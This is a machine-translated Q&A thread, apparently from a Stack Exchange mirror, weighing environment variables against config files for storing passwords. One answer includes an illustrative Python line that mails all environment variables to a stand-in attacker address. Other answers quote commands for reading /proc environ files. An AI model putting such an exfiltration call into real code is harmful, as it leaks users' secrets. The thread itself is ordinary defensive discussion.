Parolaları yapılandırma dosyalarında ortam değişkenleri (düz metin yerine) olarak saklamak güvenli midir?


109

Raylar, django (ve biraz da php) içinde birkaç uygulama üzerinde çalışıyorum ve bazılarında yapmaya başladığım şeylerden biri, belirli yapılandırma dosyalarında düz metin yerine ortam değişkenleri olarak veritabanı ve diğer parolaları depolamaktır ( django uygulamaları için settings.py içinde).

Bunu iş arkadaşlarımdan biriyle tartışırken, bunun kötü bir uygulama olduğunu - belki de bunun ilk bakışta göründüğü kadar tamamen güvenli olmadığını öne sürdü.

Öyleyse, bilmek istiyorum - bu güvenli bir uygulama mı? Şifreleri bu dosyalarda düz metin olarak saklamak daha mı güvenli?

Yanıtlar:


45

Daha teorik bir düzeyde, güvenlik düzeylerini aşağıdaki şekillerde düşünme eğilimindeyim (gücü artırmak için):

  • Güvenlik yok. Düz metin. Nereye bakacağını bilen herkes verilere erişebilir.
  • Gizleme ile Güvenlik. Verileri (düz metin), bir ortam değişkeni gibi zor bir yerde veya bir yapılandırma dosyası gibi görünmesi gereken bir dosyada saklarsınız. Bir saldırgan eninde sonunda neler olup bittiğini anlar ya da onunla karşılaşacaktır.
  • Kırılması önemsiz olan şifreleme ile sağlanan güvenlik (sezar şifresini düşünün!).
  • Bazı çabalarla kırılabilen şifreleme ile sağlanan güvenlik.
  • Mevcut donanımda kırılması pratik olmayan şifreleme ile sağlanan güvenlik.
  • En güvenli sistem, kimsenin kullanamayacağı bir sistemdir! :)

Ortam değişkenleri, düz metin dosyalarından daha güvenlidir, çünkü bunlar geçici / tek kullanımlıktır, kaydedilmez; Örneğin, "set pwd = her neyse" gibi yalnızca bir yerel ortam değişkeni ayarlarsanız ve sonra komut kabuğunuzdan komut dosyasının sonunda çıkan bir şeyle betiği çalıştırırsanız, değişken artık mevcut değildir. Durumunuz ilk ikisine giriyor, ki bu oldukça güvensiz. Bunu yapacak olsaydınız, hemen intranet / ev ağınızın dışına ve sonra da yalnızca test amacıyla dağıtmanızı tavsiye etmem.


1
İşletim sistemine bağlıdır - En iyi durumda, ortam değişkenleri düz metin dosyaları kadar savunmasızdır, ancak muhtemelen daha kötüdür. Düz metin dosyalarıyla, dosyaları / dizinleri korumak için okuma izinlerini ayarlayabilirsiniz. Ortam değişkenleri için IIRC, kabuk işlemi için bellek alanında yaşarlar, böylece girişimci bir korsan, onları arayan o alanı tarayabilir.
John Carter

1
Bir dakika bekleyin: Kimlik bilgilerini bir ortam değişkeninin içinde saklarsanız, önce oraya ulaşmaları gerekir. Ya elle ya da yazı ile. Yazılımınızın başlangıcını otomatikleştirmek için bir komut dosyası tavsiye ederim. Ama tahmin edin ne oldu, o zaman onları yine de bir yapılandırma dosyasında (env değişkenleri için) saklamanız gerekir. Env değişkenleri için değerleri elle sağlamazsanız, yapılandırma dosyalarında güvenlik farkı göremiyorum.
matematik

59

Daha önce belirtildiği gibi, her iki yöntem de sisteminizin güvenliği ihlal edildiğinde herhangi bir ek "güvenlik" katmanı sağlamaz. Ortam değişkenlerini tercih etmenin en güçlü nedenlerinden birinin sürüm kontrolü olduğuna inanıyorum : GIT gibi sürüm kontrol sisteminde kazara depolanan çok fazla veritabanı yapılandırması, vs. ben de öyle ...).

Şifrelerinizin dosyalarda saklanmaması, sürüm kontrol sisteminde saklanmalarını imkansız kılar.


6
A oldukça makul bir alternatif değildir sürüm kontrolü gizli yapılandırma ayarlarını depolamak bir sürüm kontrol depoda saklayarak veya proje olan ayrı kod deposundan.
Kenny Evitt

1
@KennyEvitt, hala güvenli olmayan, şifresiz metin şifrelerini arşive erişimi olan herkesin bulabileceği ve ona kimin eriştiğini izlemenin bir yolu olmayan paylaşılan bir konumda bırakıyor.
FistOfFury

2
@FistOfFury Elbette, depoya erişimi olan herkes ... depoya erişebilir. Sırları ayrı bir havuzda depolamanın amacı, tam olarak bu sırlara erişimi kodun kendisinden farklı bir şekilde kontrol edebilmektir. Ancak depoların güvenliği sağlanabilir, örneğin şifrelenmiş sırları 'paylaşılan konumda' depolayabilirsiniz. Ayrıca, paylaşılan konumdaki arşive erişim hakkındaki bilgileri bile takip edebilirsiniz. Ancak, elbette, herhangi birinin bilgiye erişmesine izin vermek, bu bilgileri kopyalayabileceklerini ve böylece gelecekte herhangi bir zaman kısıtlama veya izleme olmaksızın onlara erişebilecekleri anlamına gelir.
Kenny Evitt

2
Şifrelenmiş sırları saklamanıza ve ardından bunları işleme sırasında yapılandırma şablonlarında değiştirmenize olanak tanıyan bir yapılandırma yönetimi çözümü kullanmak için harika bir neden. Şef veri çantalarını şifreledi, Ansible'ın kasaları var, vb.
Brian Cline

1
Buna Privileged Access Management adı verilir ve burada gizli bilgiler, kapsamlı erişim kontrollerine sahip merkezi bir PAM Kasasında saklanır. Gartner bu tür bazı ürünleri listeler .
Amit Naidu

44

Ne zaman bir şifre kaydetmeniz gerekiyorsa, bu güvensizdir. Dönem. Şifrelenmemiş bir parolayı güvenli bir şekilde saklamanın bir yolu yoktur. Şimdi hangi ortam değişkenlerine karşı yapılandırma dosyalarının daha "güvenli" olduğu tartışmaya açık olabilir. IMHO, eğer sisteminizin güvenliği ihlal edilirse, nerede saklandığı gerçekten önemli değildir, gayretli bir bilgisayar korsanı onu bulabilir.


12
Ortam değişkenleri için, burada unix bekliyorum ... Ortam değişkenleri dosyalardan çok daha az güvenlidir. Çalışan bir işlemin ortamını herkes kontrol edebilir, ancak dosyalar en azından ACL'lere sahip olabilir.
Vatine

11
Geliştiricinin bu şifreleri saklaması gerektiği göz önüne alındığında, bu çok faydalı bir cevap değil. Bunları nerede saklamasını önerirsin?
Peter Nixey

2
@Vatine Places'in ortam değişkenlerini açığa çıkarması da izinlere sahiptir. cat /proc/1/environÖrneğin deneyin .
Chris Down

4
@Vatine Gerçekten mi? İçinde bana ait olmayan süreçler için herhangi bir ortam görmüyorum ps axe. strace -e open ps axebu bilgiyi /proc/[pid]/environ, izin yaptırımı olan bir yerden aldığını gösterir (dolayısıyla bir grup open("/proc/19795/environ", O_RDONLY) = -1 EACCES (Permission denied)).
Chris Down

4
Huh. Şuna bakın, bir problem nihayet çözüldü ( psönceden ayarlanmıştı ve size hemen hemen her şeyin ortamını mutlu bir şekilde gösterecekti).
Vatine

28

Maalesef yorum yapacak yeterli temsilcim yoktu, ancak dikkatli değilseniz, kabuğunuzun bu şifreyi komut geçmişinde de yakalayabileceğini eklemek istedim. Yani $ pwd=mypassword my_progmanuel olarak bir şeyi çalıştırmak , umduğunuz kadar geçici değildir.


21
Tüm "env var + komutunun" önüne bir boşluk eklerseniz, geçmişte depolanmaz
shadi

teşekkürler @shadi. Her gün yeni bir şeyler öğrenin! Acaba bu kabuğa özel mi / kapatması kolay mı yoksa oldukça tutarlı bir şekilde beklenebilecek bir şey mi?
brianclements

4
Diğer bir yol, read -s MY_PASS_VARhem kabuk geçmişi aramalarından hem de omuz sörfçülerinden koruyacak olanı kullanmaktır .
MatrixManAtYrService

4
@brianclements Komutun bir boşlukla önek olarak alınmasının yalnızca mevcut kabuk veya HISTCONTROLolarak ayarlandığında işe yaradığını eklemek isterim , bu nedenle teknik olarak açılıp kapatılabilir. ignorespaceignoreboth
Musa

14

Mümkün olduğunda kimlik bilgilerinizi ortam değişkenleri olarak değil, gitignored bir dosyada saklamanız gerektiğini düşünüyorum.

Kimlik bilgilerini bir dosyaya karşı ENV (ortam) değişkenlerinde saklarken göz önünde bulundurulması gereken şeylerden biri, ENV değişkenlerinin kullandığınız herhangi bir kitaplık veya bağımlılık tarafından çok kolay bir şekilde incelenebilmesidir.

Bu kötü niyetle yapılabilir veya yapılmayabilir. Örneğin, bir kütüphane yazarı hata ayıklama için yığın izlerini ve ENV değişkenlerini kendilerine e-postayla gönderebilir (en iyi uygulama değildir, ancak yapmak mümkündür).

Kimlik bilgileriniz bir dosyadaysa, onlara ulaşmak çok daha zordur.

Özellikle, düğümdeki bir npm'yi düşünün. Bir npm'nin, eğer ENV'de iseler kimlik bilgilerinize bakması basit bir meseledir process.ENV. Öte yandan bir dosyadaysa, çok daha fazla iş var.

Kimlik bilgileri dosyanızın sürüm kontrollü olup olmadığı ayrı bir sorudur. Kimlik bilgileri dosyanızı kontrol etmeyen sürüm, onu daha az kişiye ifşa eder. Tüm geliştiricilerin üretim kimlik bilgilerini bilmesine gerek yoktur. Bu, en az ayrıcalık ilkesine dayandığından, git kimlik bilgileri dosyanızı görmezden gelmenizi öneririm.


6
"Bir kütüphane yazarı, yığın izlerini ve ENV değişkenlerini hata ayıklama için kendilerine e-postayla gönderebilir" için +1. Bu senaryoyu hiç düşünmedim.
netishix

6

Tehdit modelinize bağlıdır.

Kullanıcılarınızın şifrelerini dosya sistemlerinde unutulabilecekleri ve yanlış kullanılabilecekleri yerlere serpiştirmelerini engellemeye mi çalışıyorsunuz? Öyleyse, evet, çünkü çevresel değişkenler dosyalardan daha az kalıcıdır.

Doğrudan programınızı hedef alan kötü amaçlı bir şeye karşı koruma sağlamaya mı çalışıyorsunuz? Öyleyse, hayır, çünkü ortam değişkenleri, dosyaların sahip olduğu erişim denetimi düzeyine sahip değildir.

Kişisel olarak, ihmalkar kullanıcıların motive olmuş düşmanlardan daha yaygın olduğunu düşünüyorum, bu yüzden çevre değişkeni yaklaşımını tercih ederim.


0

AFAICT, insanların sırları ortam değişkenlerinde saklamalarını önermelerinin iki nedeni vardır:

  1. Yanlışlıkla gizli düz dosyaları bir depoya işlemek çok kolaydır. (Ve eğer halka açık bir repo ise, tost yaparsınız.)
  2. Parola karmaşasını önler, yani birçok farklı proje dizini dosyasında aynı anahtara sahip olmak, geliştiriciler eninde sonunda gizli dizilerin nerede bulunduğunu izlemeyi kaybedeceklerinden, başlı başına bir güvenlik riskidir.

Bu iki sorun daha iyi yollarla çözülebilir. İlki, parola gibi görünen şeyleri kontrol eden bir git commit kancası ile çözülmelidir (örneğin, gitleaks ). Linus'un git kitaplığının kaynak koduna böyle bir araç eklemesini isterdim ama ne yazık ki bu olmadı. (Söylemeye gerek yok, gizli dosyalar her zaman eklenmelidir .gitignore, ancak birinin unutması durumunda bir kancaya ihtiyacınız var.)

İkincisi, ideal olarak salt okunur bir ortak sürücüde depolanan küresel bir şirket gizli anahtarları dosyasına sahip olarak çözülebilir. Yani Python'da buna benzer bir şeye sahip olabilirsiniz from company_secrets import *.

Daha da önemlisi, başkalarının da belirttiği gibi, ortam değişkenlerinde depolanan sırları ele geçirmek çok kolaydır. Örneğin, Python'da, bir kitaplık yazarı ekleyebilir send_email(address="evil.person@evil.com", text=json.dumps(os.environ))ve sonra bu kodu çalıştırırsanız kızardınız. Sisteminizde adlı bir dosya varsa, korsanlık çok daha zordur ~/secret_company_stuff/.my_very_secret_company_stuff.

Yalnızca Django kullanıcıları:
Django (DEBUG modunda), bir istisna varsa (DEBUG modunda) tarayıcıda bir ortam değişkeninin ham değerini gösterir. Örneğin, bir geliştirici yanlışlıkla DEBUG=Trueüretime geçerse, bu oldukça güvensiz görünüyor . Buna karşılık, Django dizeleri bakarak bullak şifre ayarları değişkenleri YAPAR API, TOKEN, KEY, SECRET, PASSveya SIGNATUREçerçevenin içinde settings.pydosyanın değişken isimlerinin.

Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.